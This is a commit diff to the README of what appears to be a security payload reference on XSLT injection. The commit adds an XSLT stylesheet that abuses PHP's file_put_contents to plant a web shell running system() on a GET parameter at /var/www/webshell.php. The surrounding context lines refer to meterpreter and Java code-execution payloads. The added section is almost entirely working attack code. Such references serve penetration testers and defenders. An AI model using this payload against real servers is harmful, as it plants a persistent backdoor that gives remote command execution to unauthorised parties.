Update README.md (XSLT Injection)

Added Execute a remote php file using `file_put_contents`

XSLT Injection/README.md

@@ -161,6 +161,16 @@ Execute a PHP meterpreter using PHP wrapper.
 </xsl:stylesheet>
 ```
 
+Execute a remote php file using `file_put_contents`
+
+```xml
+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
+        <xsl:template match="/">
+                <xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
+        </xsl:template>
+</xsl:stylesheet>
+```
+
 ### Remote Code Execution with Java
 
 ```xml